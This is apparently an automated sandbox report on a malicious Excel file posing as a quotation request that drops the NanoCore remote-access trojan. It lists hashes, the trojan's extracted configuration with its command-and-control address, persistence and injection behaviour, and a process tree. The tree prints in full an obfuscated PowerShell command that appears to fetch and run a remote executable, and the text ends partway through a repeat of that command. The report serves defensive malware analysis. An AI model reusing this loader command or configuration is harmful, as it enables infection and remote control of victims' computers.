Analysis
-
max time kernel
138s -
max time network
151s -
platform
windows7_x64 -
resource
win7-en -
submitted
15-09-2021 06:27
Static task
static1
Behavioral task
behavioral1
Sample
New_Inquiry_andQuotation#RFQ091421B87344_Request_Samples_and_Products_NORDY.xls
Resource
win7-en
General
-
Target
New_Inquiry_andQuotation#RFQ091421B87344_Request_Samples_and_Products_NORDY.xls
-
Size
39KB
-
MD5
b003e33c743da4d4f69184e9db2c4862
-
SHA1
bb6b3cc70a7e0463bc2914e478ffa40bba1cdf69
-
SHA256
0460eaab50a96b4024770dc1a1e052132e7391007c2707a8f38eb255bbf643ac
-
SHA512
0544bae6054ba536b9027698134b15459888d6a86240966623311592c9eac2ba36664dee8725a985922deebe23d566927f37ae41c15ae2c1b46462c047220f6d
Malware Config
Extracted
nanocore
1.2.2.0
185.140.53.52:4488
f373bcfb-36f5-4636-8770-9da829010f62
-
activate_away_mode
true
- backup_connection_host
-
backup_dns_server
8.8.4.4
-
buffer_size
65535
-
build_time
2021-06-03T23:05:48.798919236Z
-
bypass_user_account_control
false
-
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
-
clear_access_control
true
-
clear_zone_identifier
false
-
connect_delay
4000
-
connection_port
4488
-
default_group
AUGUST
-
enable_debug_mode
true
-
gc_threshold
1.048576e+07
-
keep_alive_timeout
30000
-
keyboard_logging
false
-
lan_timeout
2500
-
max_packet_size
1.048576e+07
-
mutex
f373bcfb-36f5-4636-8770-9da829010f62
-
mutex_timeout
5000
-
prevent_system_sleep
false
-
primary_connection_host
185.140.53.52
-
primary_dns_server
8.8.8.8
-
request_elevation
true
-
restart_delay
5000
-
run_delay
0
-
run_on_startup
false
-
set_critical_process
true
-
timeout_interval
5000
-
use_custom_dns_server
false
-
version
1.2.2.0
-
wan_timeout
8000
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1076 1316 cmd.exe EXCEL.EXE -
suricata: ET MALWARE Likely Evil Macro EXE DL mar 28 2016
suricata: ET MALWARE Likely Evil Macro EXE DL mar 28 2016
-
suricata: ET MALWARE Possible NanoCore C2 60B
suricata: ET MALWARE Possible NanoCore C2 60B
-
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
Ksbonyprod.exepid process 964 Ksbonyprod.exe -
Loads dropped DLL 1 IoCs
Processes:
WScript.exepid process 1068 WScript.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
ys.exeys.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\IMAP Service = "C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" ys.exe Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\Chromes = "\"C:\\Users\\Admin\\AppData\\Local\\Chromes.exe\"" ys.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
ys.exedescription pid process target process PID 1584 set thread context of 1756 1584 ys.exe ys.exe -
Drops file in Program Files directory 2 IoCs
Processes:
ys.exedescription ioc process File created C:\Program Files (x86)\IMAP Service\imapsv.exe ys.exe File opened for modification C:\Program Files (x86)\IMAP Service\imapsv.exe ys.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1316 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
powershell.exepowershell.exeys.exepowershell.exepowershell.exeys.exepid process 1840 powershell.exe 1592 powershell.exe 1584 ys.exe 1584 ys.exe 1616 powershell.exe 832 powershell.exe 1756 ys.exe 1756 ys.exe 1756 ys.exe 1756 ys.exe 1756 ys.exe 1756 ys.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
ys.exepid process 1756 ys.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exeys.exepowershell.exeKsbonyprod.exepowershell.exepowershell.exeys.exedescription pid process Token: SeDebugPrivilege 1840 powershell.exe Token: SeDebugPrivilege 1584 ys.exe Token: SeDebugPrivilege 1592 powershell.exe Token: SeDebugPrivilege 964 Ksbonyprod.exe Token: SeDebugPrivilege 1616 powershell.exe Token: SeDebugPrivilege 832 powershell.exe Token: SeDebugPrivilege 1756 ys.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1316 EXCEL.EXE 1316 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1316 EXCEL.EXE 1316 EXCEL.EXE 1316 EXCEL.EXE -
Suspicious use of WriteProcessMemory 53 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exeys.exeWScript.exeWScript.exeKsbonyprod.exeys.exedescription pid process target process PID 1316 wrote to memory of 1076 1316 EXCEL.EXE cmd.exe PID 1316 wrote to memory of 1076 1316 EXCEL.EXE cmd.exe PID 1316 wrote to memory of 1076 1316 EXCEL.EXE cmd.exe PID 1316 wrote to memory of 1076 1316 EXCEL.EXE cmd.exe PID 1076 wrote to memory of 1840 1076 cmd.exe powershell.exe PID 1076 wrote to memory of 1840 1076 cmd.exe powershell.exe PID 1076 wrote to memory of 1840 1076 cmd.exe powershell.exe PID 1076 wrote to memory of 1840 1076 cmd.exe powershell.exe PID 1840 wrote to memory of 1584 1840 powershell.exe ys.exe PID 1840 wrote to memory of 1584 1840 powershell.exe ys.exe PID 1840 wrote to memory of 1584 1840 powershell.exe ys.exe PID 1840 wrote to memory of 1584 1840 powershell.exe ys.exe PID 1584 wrote to memory of 1592 1584 ys.exe powershell.exe PID 1584 wrote to memory of 1592 1584 ys.exe powershell.exe PID 1584 wrote to memory of 1592 1584 ys.exe powershell.exe PID 1584 wrote to memory of 1592 1584 ys.exe powershell.exe PID 1584 wrote to memory of 1984 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1984 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1984 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1984 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1068 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1068 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1068 1584 ys.exe WScript.exe PID 1584 wrote to memory of 1068 1584 ys.exe WScript.exe PID 1984 wrote to memory of 1616 1984 WScript.exe powershell.exe PID 1984 wrote to memory of 1616 1984 WScript.exe powershell.exe PID 1984 wrote to memory of 1616 1984 WScript.exe powershell.exe PID 1984 wrote to memory of 1616 1984 WScript.exe powershell.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1584 wrote to memory of 1756 1584 ys.exe ys.exe PID 1068 wrote to memory of 964 1068 WScript.exe Ksbonyprod.exe PID 1068 wrote to memory of 964 1068 WScript.exe Ksbonyprod.exe PID 1068 wrote to memory of 964 1068 WScript.exe Ksbonyprod.exe PID 1068 wrote to memory of 964 1068 WScript.exe Ksbonyprod.exe PID 964 wrote to memory of 832 964 Ksbonyprod.exe powershell.exe PID 964 wrote to memory of 832 964 Ksbonyprod.exe powershell.exe PID 964 wrote to memory of 832 964 Ksbonyprod.exe powershell.exe PID 964 wrote to memory of 832 964 Ksbonyprod.exe powershell.exe PID 1756 wrote to memory of 516 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 516 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 516 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 516 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 764 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 764 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 764 1756 ys.exe schtasks.exe PID 1756 wrote to memory of 764 1756 ys.exe schtasks.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\New_Inquiry_andQuotation#RFQ091421B87344_Request_Samples_and_Products_NORDY.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C Po^W^ERs^he^lL -E WwBTAFkAUwB0AGUAbQAuAFQARQB4AHQALgBFAE4AYwBPAGQASQBuAGcAXQA6ADoAdQBuAGkAQwBPAEQARQAuAEcARQBUAHMAdAByAGkATgBHACgAWwBTAFkAUwB0AEUATQAuAEMAbwBuAFYAZQBSAFQAXQA6ADoARgBSAE8ATQBCAGEAUwBlADYANABzAHQAcgBpAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgAWQBBAGMAQQBCAHoAQQBIAGMAQQBjAEEAQgB5AEEARwBnAEEAYQBnAEIAbgBBAEcASQBBAGMAUQBCAHMAQQBIAGsAQQBlAFEAQgBsAEEASABZAEEAYwBBAEIAdQBBAEcARQBBAGQAZwBCADAAQQBIAG8AQQBkAGcAQgBpAEEASABFAEEAYQBRAEIANQBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBlAEEAQgB2AEEARwBvAEEAWgB3AEIANQBBAEcATQBBAGEAQQBCAHQAQQBHAGMAQQBaAHcAQgBrAEEAQwBBAEEATABBAEEAZwBBAEMAUQBBAGEAdwBCAHgAQQBHAGMAQQBaAHcAQgAwAEEASABvAEEAZQBnAEIAbgBBAEcASQBBAGEAQQBCAGgAQQBHAE0AQQBJAEEAQQBwAEEAQQAwAEEAQwBnAEIANwBBAEMAQQBBAFMAUQBCAHQAQQBGAEEAQQBUAHcAQgBTAEEARgBRAEEATABRAEIAdABBAEcAOABBAFoAQQBCADEAQQBHAHcAQQBSAFEAQQBnAEEARwBJAEEAUwBRAEIAVQBBAEYATQBBAFYAQQBCAFMAQQBFAEUAQQBUAGcAQgBUAEEARQBZAEEAWgBRAEIAeQBBAEQAcwBBAEQAUQBBAEsAQQBGAE0AQQBWAEEAQgBoAEEASABJAEEAVgBBAEEAdABBAEcASQBBAGEAUQBCAFUAQQBIAE0AQQBWAEEAQgB5AEEARQBFAEEAVABnAEIAVABBAEUAWQBBAFoAUQBCAHkAQQBDAEEAQQBMAFEAQgB6AEEARQA4AEEAZABRAEIAeQBBAEcATQBBAFIAUQBBAGcAQQBDAFEAQQBlAEEAQgB2AEEARwBvAEEAWgB3AEIANQBBAEcATQBBAGEAQQBCAHQAQQBHAGMAQQBaAHcAQgBrAEEAQwBBAEEATABRAEIAawBBAEUAVQBBAFUAdwBCAFUAQQBHAGsAQQBUAGcAQgBoAEEARgBRAEEAUwBRAEIAUABBAEUANABBAEkAQQBBAGsAQQBHAHMAQQBjAFEAQgBuAEEARwBjAEEAZABBAEIANgBBAEgAbwBBAFoAdwBCAGkAQQBHAGcAQQBZAFEAQgBqAEEARABzAEEASQBBAEEAbQBBAEMAQQBBAEoAQQBCAHIAQQBIAEUAQQBaAHcAQgBuAEEASABRAEEAZQBnAEIANgBBAEcAYwBBAFkAZwBCAG8AQQBHAEUAQQBZAHcAQQA3AEEAQwBBAEEAZgBRAEIAMABBAEgASQBBAGUAUQBCADcAQQBDAFEAQQBkAGcAQgBoAEEASABvAEEAZQBnAEIAcgBBAEcASQBBAGIAdwBCADIAQQBIAG8AQQBaAEEAQgA1AEEASABNAEEAWQB3AEIAcwBBAEQAMABBAEoAQQBCAEYAQQBHADQAQQBWAGcAQQA2AEEASABRAEEAUgBRAEIATgBBAEYAQQBBAEsAdwBBAG4AQQBGAHcAQQBlAFEAQgB6AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgAyAEEASABBAEEAYwB3AEIAMwBBAEgAQQBBAGMAZwBCAG8AQQBHAG8AQQBaAHcAQgBpAEEASABFAEEAYgBBAEIANQBBAEgAawBBAFoAUQBCADIAQQBIAEEAQQBiAGcAQgBoAEEASABZAEEAZABBAEIANgBBAEgAWQBBAFkAZwBCAHgAQQBHAGsAQQBlAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAaQBBAEcARQBBAGMAdwBCADAAQQBHAGsAQQBZAFEAQgB1AEEASABNAEEAWQB3AEIAbwBBAEcAawBBAGIAZwBCAHUAQQBHAFUAQQBjAGcAQQB1AEEASABnAEEAZQBRAEIANgBBAEMAOABBAFEAUQBCAFYAQQBFAGMAQQBMAHcAQgBCAEEARQB3AEEAVABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEASABZAEEAWQBRAEIANgBBAEgAbwBBAGEAdwBCAGkAQQBHADgAQQBkAGcAQgA2AEEARwBRAEEAZQBRAEIAegBBAEcATQBBAGIAQQBBADcAQQBBADAAQQBDAGcAQgAyAEEASABBAEEAYwB3AEIAMwBBAEgAQQBBAGMAZwBCAG8AQQBHAG8AQQBaAHcAQgBpAEEASABFAEEAYgBBAEIANQBBAEgAawBBAFoAUQBCADIAQQBIAEEAQQBiAGcAQgBoAEEASABZAEEAZABBAEIANgBBAEgAWQBBAFkAZwBCAHgAQQBHAGsAQQBlAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAaQBBAEcARQBBAGMAdwBCADAAQQBHAGsAQQBZAFEAQgB1AEEASABNAEEAWQB3AEIAbwBBAEcAawBBAGIAZwBCAHUAQQBHAFUAQQBjAGcAQQB1AEEASABnAEEAZQBRAEIANgBBAEMAOABBAFEAUQBCAFYAQQBFAGMAQQBMAHcAQgBCAEEARQB3AEEAVABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEASABZAEEAWQBRAEIANgBBAEgAbwBBAGEAdwBCAGkAQQBHADgAQQBkAGcAQgA2AEEARwBRAEEAZQBRAEIAegBBAEcATQBBAGIAQQBBADcAQQBBADAAQQBDAGcAQgAyAEEASABBAEEAYwB3AEIAMwBBAEgAQQBBAGMAZwBCAG8AQQBHAG8AQQBaAHcAQgBpAEEASABFAEEAYgBBAEIANQBBAEgAawBBAFoAUQBCADIAQQBIAEEAQQBiAGcAQgBoAEEASABZAEEAZABBAEIANgBBAEgAWQBBAFkAZwBCAHgAQQBHAGsAQQBlAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAaQBBAEcARQBBAGMAdwBCADAAQQBHAGsAQQBZAFEAQgB1AEEASABNAEEAWQB3AEIAbwBBAEcAawBBAGIAZwBCAHUAQQBHAFUAQQBjAGcAQQB1AEEASABnAEEAZQBRAEIANgBBAEMAOABBAFEAUQBCAFYAQQBFAGMAQQBMAHcAQgBCAEEARQB3AEEAVABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEASABZAEEAWQBRAEIANgBBAEgAbwBBAGEAdwBCAGkAQQBHADgAQQBkAGcAQgA2AEEARwBRAEEAZQBRAEIAegBBAEcATQBBAGIAQQBBADcAQQBBADAAQQBDAGcAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AGkARQBYAA==2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWERshelL -E WwBTAFkAUwB0AGUAbQAuAFQARQB4AHQALgBFAE4AYwBPAGQASQBuAGcAXQA6ADoAdQBuAGkAQwBPAEQARQAuAEcARQBUAHMAdAByAGkATgBHACgAWwBTAFkAUwB0AEUATQAuAEMAbwBuAFYAZQBSAFQAXQA6ADoARgBSAE8ATQBCAGEAUwBlADYANABzAHQAcgBpAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgAWQBBAGMAQQBCAHoAQQBIAGMAQQBjAEEAQgB5AEEARwBnAEEAYQBnAEIAbgBBAEcASQBBAGMAUQBCAHMAQQBIAGsAQQBlAFEAQgBsAEEASABZAEEAYwBBAEIAdQBBAEcARQBBAGQAZwBCADAAQQBIAG8AQQBkAGcAQgBpAEEASABFAEEAYQBRAEIANQBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBlAEEAQgB2AEEARwBvAEEAWgB3AEIANQBBAEcATQBBAGEAQQBCAHQAQQBHAGMAQQBaAHcAQgBrAEEAQwBBAEEATABBAEEAZwBBAEMAUQBBAGEAdwBCAHgAQQBHAGMAQQBaAHcAQgAwAEEASABvAEEAZQBnAEIAbgBBAEcASQBBAGEAQQBCAGgAQQBHAE0AQQBJAEEAQQBwAEEAQQAwAEEAQwBnAEIANwBBAEMAQQBBAFMAUQBCAHQAQQBGAEEAQQBUAHcAQgBTAEEARgBRAEEATABRAEIAdABBAEcAOABBAFoAQQBCADEAQQBHAHcAQQBSAFEAQQBnAEEARwBJAEEAUwBRAEIAVQBBAEYATQBBAFYAQQBCAFMAQQBFAEUAQQBUAGcAQgBUAEEARQBZAEEAWgBRAEIAeQBBAEQAcwBBAEQAUQBBAEsAQQBGAE0AQQBWAEEAQgBoAEEASABJAEEAVgBBAEEAdABBAEcASQBBAGEAUQBCAFUAQQBIAE0AQQBWAEEAQgB5AEEARQBFAEEAVABnAEIAVABBAEUAWQBBAFoAUQBCAHkAQQBDAEEAQQBMAFEAQgB6AEEARQA4AEEAZABRAEIAeQBBAEcATQBBAFIAUQBBAGcAQQBDAFEAQQBlAEEAQgB2AEEARwBvAEEAWgB3AEIANQBBAEcATQBBAGEAQQBCAHQAQQBHAGMAQQBaAHcAQgBrAEEAQwBBAEEATABRAEIAawBBAEUAVQBBAFUAdwBCAFUAQQBHAGsAQQBUAGcAQgBoAEEARgBRAEEAUwBRAEIAUABBAEUANABBAEkAQQBBAGsAQQBHAHMAQQBjAFEAQgBuAEEARwBjAEEAZABBAEIANgBBAEgAbwBBAFoAdwBCAGkAQQBHAGcAQQBZAFEAQgBqAEEARABzAEEASQBBAEEAbQBBAEMAQQBBAEoAQQBCAHIAQQBIAEUAQQBaAHcAQgBuAEEASABRAEEAZQBnAEIANgBBAEcAYwBBAFkAZwBCAG8AQQBHAEUAQQBZAHcAQQA3AEEAQwBBAEEAZgBRAEIAMABBAEgASQBBAGUAUQBCADcAQQBDAFEAQQBkAGcAQgBoAEEASABvAEEAZQBnAEIAcgBBAEcASQBBAGIAdwBCADIAQQBIAG8AQQBaAEEAQgA1AEEASABNAEEAWQB3AEIAcwBBAEQAMABBAEoAQQBCAEYAQQBHADQAQQBWAGcAQQA2AEEASABRAEEAUgBRAEIATgBBAEYAQQBBAEsAdwBBAG4AQQBGAHcAQQBlAFEAQgB6AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgAyAEEASABBAEEAYwB3AEIAMwBBAEgAQQBBAGMAZwBCAG8AQQBHAG8AQQBaAHcAQgBpAEEASABFAEEAYgBBAEIANQBBAEgAawBBAFoAUQBCADIAQQBIAEEAQQBiAGcAQgBoAEEASABZAEEAZABBAEIANgBBAEgAWQBBAFkAZwBCAHgAQQBHAGsAQQBlAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAaQBBAEcARQBBAGMAdwBCADAAQQBHAGsAQQBZAFEAQgB1AEEASABNAEEAWQB3AEIAbwBBAEcAawBBAGIAZwBCAHUAQQBHAFUAQQBjAGcAQQB1AEEASABnAEEAZQBRAEIANgBBAEMAOABBAFEAUQBCAFYAQQBFAGMAQQBMAHcAQgBCAEEARQB3AEEAVABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEASABZAEEAWQBRAEIANgBBAEgAbwBBAGEAdwBCAGkAQQBHADgAQQBkAGcAQgA2AEEARwBRAEEAZQBRAEIAegBBAEcATQBBAGIAQQBBADcAQQBBADAAQQBDAGcAQgAyAEEASABBAEEAYwB3AEIAMwBBAEgAQQBBAGMAZwBCAG8AQQBHAG8AQQBaAHcAQgBpAEEASABFAEEAYgBBAEIANQBBAEgAawBBAFoAUQBCADIAQQBIAEEAQQBiAGcAQgBoAEEASABZAEEAZABBAEIANgBBAEgAWQBBAFkAZwBCAHgAQQBHAGsAQQBlAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAaQBBAEcARQBBAGMAdwBCADAAQQBHAGsAQQBZAFEAQgB1AEEASABNAEEAWQB3AEIAbwBBAEcAawBBAGIAZwBCAHUAQQBHAFUAQQBjAGcAQQB1AEEASABnAEEAZQBRAEIANgBBAEMAOABBAFEAUQBCAFYAQQBFAGMAQQBMAHcAQgBCAEEARQB3AEEAVABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEASABZAEEAWQBRAEIANgBBAEgAbwBBAGEAdwBCAGkAQQBHADgAQQBkAGcAQgA2AEEARwBRAEEAZQBRAEIAegBBAEcATQBBAGIAQQBBADcAQQBBADAAQQBDAGcAQgAyAEEASABBAEEAYwB3AEIAMwBBAEgAQQBBAGMAZwBCAG8AQQBHAG8AQQBaAHcAQgBpAEEASABFAEEAYgBBAEIANQBBAEgAawBBAFoAUQBCADIAQQBIAEEAQQBiAGcAQgBoAEEASABZAEEAZABBAEIANgBBAEgAWQBBAFkAZwBCAHgAQQBHAGsAQQBlAFEAQQBnAEEAQwBjAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAWgBRAEIAaQBBAEcARQBBAGMAdwBCADAAQQBHAGsAQQBZAFEAQgB1AEEASABNAEEAWQB3AEIAbwBBAEcAawBBAGIAZwBCAHUAQQBHAFUAQQBjAGcAQQB1AEEASABnAEEAZ